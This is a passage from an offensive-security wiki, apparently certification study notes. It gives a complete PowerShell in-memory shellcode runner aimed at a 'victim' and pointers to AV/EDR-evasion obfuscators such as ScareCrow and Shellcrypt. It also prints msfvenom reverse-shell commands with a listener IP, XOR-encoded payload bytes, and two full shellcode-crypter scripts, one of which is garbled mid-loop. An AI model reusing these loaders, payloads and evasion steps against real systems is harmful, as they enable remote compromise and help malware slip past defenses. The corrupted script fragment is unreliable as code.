* Close the PowerShell_ISE prompt and rerun the code if previous steps have been executed, as mapping &amp;lt;code&amp;gt;HKEY_USERS&amp;lt;/code&amp;gt; will persist across reruns.&lt;br /&gt;
&lt;br /&gt;
== Reflection Load (In-memory) ==&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
Generate shellcode based on the architecture of the vicitim. If run as a Word Macro its most likely x86. See Dropper/VBA for code to use in Word Macro. Host the code below on the attacker through Apache2 or SimpleHTTPserver and run the VBA on Victim.&lt;br /&gt;
&lt;br /&gt;
This code below is same as &amp;lt;code&amp;gt;Simple Shellcode Runner Powershell Ver 2&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
              Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
              Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {&lt;br /&gt;
        If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {&lt;br /&gt;
            $tmp+=$_&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
        [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
            DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
            [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
            DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
            DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
            [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
$lpMem =&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll VirtualAlloc),&lt;br /&gt;
    (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))&lt;br /&gt;
).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)&lt;br /&gt;
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0...&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)&lt;br /&gt;
$hThread =&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll CreateThread),&lt;br /&gt;
    (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))&lt;br /&gt;
).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll WaitForSingleObject),&lt;br /&gt;
    (getDelegateType @([IntPtr], [Int32]) ([Int]))&lt;br /&gt;
).Invoke($hThread, 0xFFFFFFFF)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Shellcode obfuscation script ==&lt;br /&gt;
&lt;br /&gt;
There are many obfuscation tools available online that are great at obfuscating shellcode and help bypass AV. Not all will work right out of the box, but there might be some. Some might need tweaking in order to bypass AV, some might not work at all.&lt;br /&gt;
&lt;br /&gt;
=== Espio ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Konis-Bros/Espio/tree/main Konis-Bros/Espio: Shellcode obfuscation tool to avoid AV/EDR. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# The obfuscation method usid is xor&lt;br /&gt;
def obfuscate_payload(payload, key):&lt;br /&gt;
    encrypted_payload = &amp;quot;&amp;quot;&lt;br /&gt;
    for i in range(len(payload)):&lt;br /&gt;
        obf_char = chr(payload[i] ^ ord(key[i % len(key)]))&lt;br /&gt;
        hex_char = hex(ord(obf_char))&lt;br /&gt;
        if len(hex_char) == 3:&lt;br /&gt;
            hex_char = f&amp;quot;0x0{hex_char[-1]}&amp;quot;&lt;br /&gt;
        encrypted_payload += hex_char&lt;br /&gt;
    encrypted_payload_bytes = encrypted_payload.encode(&amp;quot;UTF-8&amp;quot;)&lt;br /&gt;
    obfuscated_payload_bytes = base64.b64encode(encrypted_payload_bytes)&lt;br /&gt;
    obfuscated_payload = obfuscated_payload_bytes.decode(&amp;quot;UTF-8&amp;quot;)&lt;br /&gt;
    return &amp;quot;&amp;quot;.join(obfuscated_payload)&lt;br /&gt;
&lt;br /&gt;
def generate_key():&lt;br /&gt;
    letters = [chr(ascii_value) for ascii_value in range(33, 127)]&lt;br /&gt;
    key = &amp;quot;&amp;quot;.join(random.choices(letters, k=random.randint(100, 500)))&lt;br /&gt;
    return key&lt;br /&gt;
# In main.cpp the decryption routine&lt;br /&gt;
	int keyIndex = 0;&lt;br /&gt;
	for (int i = 0; i &amp;lt; encryptedPayloadSize; i += 4)&lt;br /&gt;
	{&lt;br /&gt;
		std::string currentByte = std::string() + encryptedPayload[i] + encryptedPayload[i + 1] + encryptedPayload[i + 2] + encryptedPayload[i + 3];&lt;br /&gt;
		payload += stol(currentByte, nullptr, 0) ^ key[keyIndex++ % keySize];&lt;br /&gt;
	}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scarecrow ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/optiv/ScareCrow optiv/ScareCrow: ScareCrow - Payload creation framework designed around EDR bypass. (github.com)]&lt;br /&gt;
&lt;br /&gt;
ScareCrow is a payload creation framework for side loading (not injecting) into a legitimate Windows process (bypassing Application Whitelisting controls). Once the DLL loader is loaded into memory, it utilizes a technique to flush an EDR’s hook out of the system DLLs running in the process&#039;s memory. This works because we know the EDR’s hooks are placed when a process is spawned.&lt;br /&gt;
&lt;br /&gt;
[https://adamsvoboda.net/evading-edr-with-scarecrow/ Evading EDR in 15 Minutes with ScareCrow (adamsvoboda.net)]&lt;br /&gt;
&lt;br /&gt;
We generate a raw shellcode using ex. Metasploit, Cobalt strik etc and then pass it to Scarecrow We will then get a loader back that will implement some common EDR evasion techniques.&lt;br /&gt;
&lt;br /&gt;
ScareCrow takes your raw shellcode and encrypts it using AES. This will help with on-disk detection when AV/EDR scans the loader.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/opt/ScareCrow/ScareCrow -I stager.bin -Loader binary -domain microsoft.com&lt;br /&gt;
# Check -h for detailed info.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ShellCrypt ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/iilegacyyii/Shellcrypt iilegacyyii/Shellcrypt: A QoL tool to obfuscate shellcode. In the future will be able to chain encoding/encryption/compression methods. (github.com)]&lt;br /&gt;
&lt;br /&gt;
== Encryption Methods ==&lt;br /&gt;
&lt;br /&gt;
* AES (128-bit CBC)&lt;br /&gt;
&lt;br /&gt;
* ChaCha20&lt;br /&gt;
&lt;br /&gt;
* RC4&lt;br /&gt;
&lt;br /&gt;
* Salsa20&lt;br /&gt;
&lt;br /&gt;
* XOR&lt;br /&gt;
&lt;br /&gt;
== [https://github.com/iilegacyyii/Shellcrypt#supported-formats https://github.com/iilegacyyii/Shellcrypt#supported-formats]Supported Formats ==&lt;br /&gt;
&lt;br /&gt;
* C&lt;br /&gt;
&lt;br /&gt;
* C#&lt;br /&gt;
&lt;br /&gt;
* Nim&lt;br /&gt;
&lt;br /&gt;
* Golang&lt;br /&gt;
&lt;br /&gt;
* Python&lt;br /&gt;
&lt;br /&gt;
* Powershell&lt;br /&gt;
&lt;br /&gt;
* Visual Basic for Applications (VBA)&lt;br /&gt;
&lt;br /&gt;
* Visual Basic Script (VBS)&lt;br /&gt;
&lt;br /&gt;
* Rust&lt;br /&gt;
&lt;br /&gt;
* Raw&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 shellcrypt.py -i shellcode.bin -e xor -f csharp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Shellcode injection techniques ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Injection-Techniques/tree/master plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)]&lt;br /&gt;
&lt;br /&gt;
From github: &amp;quot;A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Assembly Injection&lt;br /&gt;
&lt;br /&gt;
* Shellcode Runner&lt;br /&gt;
&lt;br /&gt;
* Classic Injection&lt;br /&gt;
&lt;br /&gt;
* Thread Hijacking&lt;br /&gt;
&lt;br /&gt;
* Local Thread Hijacking&lt;br /&gt;
&lt;br /&gt;
* Asychronous Procedure Call Injection&lt;br /&gt;
&lt;br /&gt;
* Process Hollowing&lt;br /&gt;
&lt;br /&gt;
* Inter-Process Mapped View&lt;br /&gt;
&lt;br /&gt;
* Atom Bombing&lt;br /&gt;
&lt;br /&gt;
== Shellcode Encryptors ==&lt;br /&gt;
&lt;br /&gt;
=== Shellcode Encryptors - Helper code ===&lt;br /&gt;
&lt;br /&gt;
Below are codes that will encrypt the shellcode you provide. Compile in Visual Studios and run them.&lt;br /&gt;
&lt;br /&gt;
==== ShellcodeCrypter-bin.py ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.45.156 LPORT=443 -f raw -o shell.bin&lt;br /&gt;
&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# python3 shellcode-bin.py shell.bin cs xor 0xfa&lt;br /&gt;
[i] Generating payload for path shell.bin.&lt;br /&gt;
[i] Encoding payload with type xor and key 0xfa&lt;br /&gt;
[+] Encoded payload (CSharp):&lt;br /&gt;
// Payload xor-encoded with key 0xfa&lt;br /&gt;
byte[] buf = new byte[68] {&lt;br /&gt;
0xcb,0x21,0x0d,0x19,0xa9,0xb9,0xa9,0x90,0xf8,0x73,0x1b,0x4a,0x9c,&lt;br /&gt;
0x37,0x7a,0x69,0xa3,0x4a,0xc5,0x37,0x7a,0xb3,0x83,0x03,0x92,0x3a,&lt;br /&gt;
0x52,0xd7,0x66,0x92,0xf8,0xfa,0xfb,0x41,0x73,0x1b,0x4a,0x9c,0xaa,&lt;br /&gt;
0xab,0xa9,0x49,0xf9,0x73,0x1b,0x37,0x7a,0xa8,0x92,0x94,0xd5,0x89,&lt;br /&gt;
0x92,0x92,0xd5,0xd5,0x98,0x93,0x73,0x19,0xa8,0xa9,0x73,0x1b,0x4a,&lt;br /&gt;
0xf1,0x37,0x7a&lt;br /&gt;
};&lt;br /&gt;
[i] Decoding function:&lt;br /&gt;
for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
    {&lt;br /&gt;
        buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# ShellcodeCrypter-bin.py&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
# Basic shellcode crypter for C# payloads&lt;br /&gt;
# By Cas van Cooten&lt;br /&gt;
import re&lt;br /&gt;
import platform&lt;br /&gt;
import argparse&lt;br /&gt;
import subprocess&lt;br /&gt;
from random import randint&lt;br /&gt;
if platform.system() != &amp;quot;Linux&amp;quot;:&lt;br /&gt;
    exit(&amp;quot;[x] ERROR: Only Linux is supported for this utility script.&amp;quot;)&lt;br /&gt;
class bcolors:&lt;br /&gt;
    OKBLUE = &#039;\033[94m&#039;&lt;br /&gt;
    OKGREEN = &#039;\033[92m&#039;&lt;br /&gt;
    FAIL = &#039;\033[91m&#039;&lt;br /&gt;
    ENDC = &#039;\033[0m&#039;&lt;br /&gt;
    BOLD = &#039;\033[1m&#039;&lt;br /&gt;
# Parse input arguments&lt;br /&gt;
def auto_int(x):&lt;br /&gt;
    return int(x, 0)&lt;br /&gt;
parser = argparse.ArgumentParser()&lt;br /&gt;
parser.add_argument(&amp;quot;path&amp;quot;, help=&amp;quot;the path to load the raw shellcode payload from&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;/tmp/payload.bin&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;format&amp;quot;, help=&amp;quot;the language to format the output in (&#039;cs&#039; or &#039;cpp&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;cs&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;encoding&amp;quot;, help=&amp;quot;the encoding type to use (&#039;xor&#039; or &#039;rot&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;xor&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;key&amp;quot;, help=&amp;quot;the key to encode the payload with (integer)&amp;quot;, type=auto_int, nargs=&#039;?&#039;, default=randint(1,255))&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
# Generate the shellcode given the input path&lt;br /&gt;
print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload for path {bcolors.OKGREEN}{args.path}{bcolors.ENDC}.&amp;quot;)&lt;br /&gt;
try:&lt;br /&gt;
    with open(args.path, &amp;quot;rb&amp;quot;) as f:&lt;br /&gt;
        payload = f.read()&lt;br /&gt;
except:&lt;br /&gt;
    exit(f&#039;{bcolors.BOLD}{bcolors.FAIL}[-] Cannot read file: {args.path}{bcolors.ENDC}&#039;)&lt;br /&gt;
# Format the output payload&lt;br /&gt;
if args.format == &amp;quot;cs&amp;quot;:&lt;br /&gt;
    # Encode the payload with the chosen type and key&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{hex(args.key)}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    encodedPayload = []&lt;br /&gt;
    payloadFormatted = &amp;quot;&amp;quot;&lt;br /&gt;
    for byte in payload:&lt;br /&gt;
        byteInt = int(byte)&lt;br /&gt;
        if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
            byteInt = byteInt ^ args.key&lt;br /&gt;
        elif args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
            byteInt = byteInt + args.key &amp;amp; 255&lt;br /&gt;
        else:&lt;br /&gt;
            exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        encodedPayload.append(&amp;quot;{0:#0{1}x}&amp;quot;.format(byteInt,4))&lt;br /&gt;
    payLen = len(encodedPayload)&lt;br /&gt;
    encodedPayload = re.sub(&amp;quot;(.{65})&amp;quot;, &amp;quot;\\1\n&amp;quot;, &#039;,&#039;.join(encodedPayload), 0, re.DOTALL)&lt;br /&gt;
    payloadFormatted += f&amp;quot;// Payload {args.encoding}-encoded with key {hex(args.key)}\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;byte[] buf = new byte[{str(payLen)}] {{\n{encodedPayload.strip()}\n}};&amp;quot;&lt;br /&gt;
    if payLen &amp;gt; 1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in CSharp format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (CSharp):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;for (int i = 0; i  1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in C++ format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (C++):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    if args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] - {hex(args.key)} &amp;amp; 255);&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    print(decodingFunc)&lt;br /&gt;
else:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose &#039;cs&#039; for CSharp or &#039;cpp&#039; for C++).{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== shellcodeCrypter-msfvenom.py ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# python3 shellcodecrypter.py 192.168.45.156 443 cpp xor 0xfa linux/x64/meterpreter/reverse_tcp&lt;br /&gt;
[i] Generating payload linux/x64/meterpreter/reverse_tcp for LHOST=192.168.45.156 and LPORT=443&lt;br /&gt;
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload&lt;br /&gt;
[-] No arch selected, selecting arch: x64 from the payload&lt;br /&gt;
No encoder specified, outputting raw payload&lt;br /&gt;
Payload size: 130 bytes&lt;br /&gt;
Final size of csharp file: 691 bytes&lt;br /&gt;
[i] Encoding payload with type xor and key 250&lt;br /&gt;
[+] Encoded payload (C++):&lt;br /&gt;
// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.45.156 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
// xor-encoded with key 0xfa&lt;br /&gt;
unsigned char buffer[] =&lt;br /&gt;
    &amp;quot;\xcb\x05\x90\xf3\xa2\x63\x4c\xea\xb2\x73\x2c\xb7\xcb\x33\x90\xd8&amp;quot;&lt;br /&gt;
    &amp;quot;\xbb\xa0\x90\xfd\xa0\xf5\xff\xb2\x7f\x3a\x82\xab\x90\xf0\xbb\xa3&amp;quot;&lt;br /&gt;
    &amp;quot;\xaa\x90\xd3\xa2\x63\x90\xf8\xa5\x90\xfb\xa4\xf5\xff\xb2\x7f\x3a&amp;quot;&lt;br /&gt;
    &amp;quot;\x82\xc1\xb2\x6d\xb2\x43\xf8\xfa\xfb\x41\x3a\x52\xd7\x66\xab\xb2&amp;quot;&lt;br /&gt;
    &amp;quot;\x73\x1c\x90\xea\xa0\x90\xd0\xa2\xf5\xff\xa3\xb2\x7f\x3a\x83\xdf&amp;quot;&lt;br /&gt;
    &amp;quot;\xb3\x05\x33\x8e\xe2\xad\x90\xd9\xa2\x90\xfa\x90\xff\xb2\x73\x1d&amp;quot;&lt;br /&gt;
    &amp;quot;\xb2\xcb\x0c\xf5\xff\xa3\xa3\xa5\xb2\x7f\x3a\x83\x3d\x90\xc6\xa2&amp;quot;&lt;br /&gt;
    &amp;quot;\x90\xfb\xa5\xf5\xff\xa4\x90\x84\xa0\xf5\xff\xb2\x7f\x3a\x82\x17&amp;quot;&lt;br /&gt;
\x05\x1c;&lt;br /&gt;
[i] Decoding function:&lt;br /&gt;
char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ 0xfa);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
# Basic shellcode crypter for C# payloads&lt;br /&gt;
# By Cas van Cooten&lt;br /&gt;
import re&lt;br /&gt;
import platform&lt;br /&gt;
import argparse&lt;br /&gt;
import subprocess&lt;br /&gt;
from random import randint&lt;br /&gt;
if platform.system() != &amp;quot;Linux&amp;quot;:&lt;br /&gt;
    exit(&amp;quot;[x] ERROR: Only Linux is supported for this utility script.&amp;quot;)&lt;br /&gt;
class bcolors:&lt;br /&gt;
    OKBLUE = &#039;\033[94m&#039;&lt;br /&gt;
    OKGREEN = &#039;\033[92m&#039;&lt;br /&gt;
    FAIL = &#039;\033[91m&#039;&lt;br /&gt;
    ENDC = &#039;\033[0m&#039;&lt;br /&gt;
    BOLD = &#039;\033[1m&#039;&lt;br /&gt;
# Parse input arguments&lt;br /&gt;
def auto_int(x):&lt;br /&gt;
    return int(x, 0)&lt;br /&gt;
parser = argparse.ArgumentParser()&lt;br /&gt;
parser.add_argument(&amp;quot;lhost&amp;quot;, help=&amp;quot;listener IP to use&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;lport&amp;quot;, help=&amp;quot;listener port to use&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;format&amp;quot;, help=&amp;quot;the language to format the output in (&#039;cs&#039; or &#039;cpp&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;cs&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;encoding&amp;quot;, help=&amp;quot;the encoding type to use (&#039;xor&#039; or &#039;rot&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;xor&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;key&amp;quot;, help=&amp;quot;the key to encode the payload with (integer)&amp;quot;, type=auto_int, nargs=&#039;?&#039;, default=randint(1,255))&lt;br /&gt;
parser.add_argument(&amp;quot;payload&amp;quot;, help=&amp;quot;the payload type from msfvenom to generate shellcode for (default: windows/x64/meterpreter/reverse_tcp)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;windows/x64/meterpreter/reverse_tcp&amp;quot;)&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
# Generate the shellcode given the preferred payload&lt;br /&gt;
print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload {bcolors.OKGREEN}{args.payload}{bcolors.OKBLUE} for LHOST={bcolors.OKGREEN}{args.lhost}{bcolors.OKBLUE} and LPORT={bcolors.OKGREEN}{args.lport}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
result = subprocess.run([&#039;msfvenom&#039;, &#039;-p&#039;, args.payload, f&amp;quot;LHOST={args.lhost}&amp;quot;, f&amp;quot;LPORT={args.lport}&amp;quot;, &#039;exitfunc=thread&#039;, &amp;quot;-f&amp;quot;, &amp;quot;csharp&amp;quot;], stdout=subprocess.PIPE)&lt;br /&gt;
if result.returncode != 0:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Msfvenom generation unsuccessful. Are you sure msfvenom is installed?{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
# Get the payload bytes and split them&lt;br /&gt;
payload = re.search(r&amp;quot;{([^}]+)}&amp;quot;, result.stdout.decode(&amp;quot;utf-8&amp;quot;)).group(1).replace(&#039;\n&#039;, &#039;&#039;).split(&amp;quot;,&amp;quot;)&lt;br /&gt;
# Format the output payload&lt;br /&gt;
if args.format == &amp;quot;cs&amp;quot;:&lt;br /&gt;
    # Encode the payload with the chosen type and key&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{args.key}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    for i, byte in enumerate(payload):&lt;br /&gt;
        byteInt = int(byte, 16)&lt;br /&gt;
        if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
            byteInt = byteInt ^ args.key&lt;br /&gt;
        elif args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
            byteInt = byteInt + args.key &amp;amp; 255&lt;br /&gt;
        else:&lt;br /&gt;
            exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        payload[i] = &amp;quot;{0:#0{1}x}&amp;quot;.format(byteInt,4)&lt;br /&gt;
    payLen = len(payload)&lt;br /&gt;
    payload = re.sub(&amp;quot;(.{65})&amp;quot;, &amp;quot;\\1\n&amp;quot;, &#039;,&#039;.join(payload), 0, re.DOTALL)&lt;br /&gt;
    payloadFormatted = f&amp;quot;// msfvenom -p {args.payload} LHOST={args.lhost} LPORT={args.lport} EXITFUNC=thread -f csharp\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;// {args.encoding}-encoded with key {hex(args.key)}\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;byte[] buf = new byte[{str(payLen)}] {{\n{payload.strip()}\n}};&amp;quot;&lt;br /&gt;
    if payLen &amp;gt; 1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to &#039;/tmp/payload.txt&#039; in CSharp format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (CSharp):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
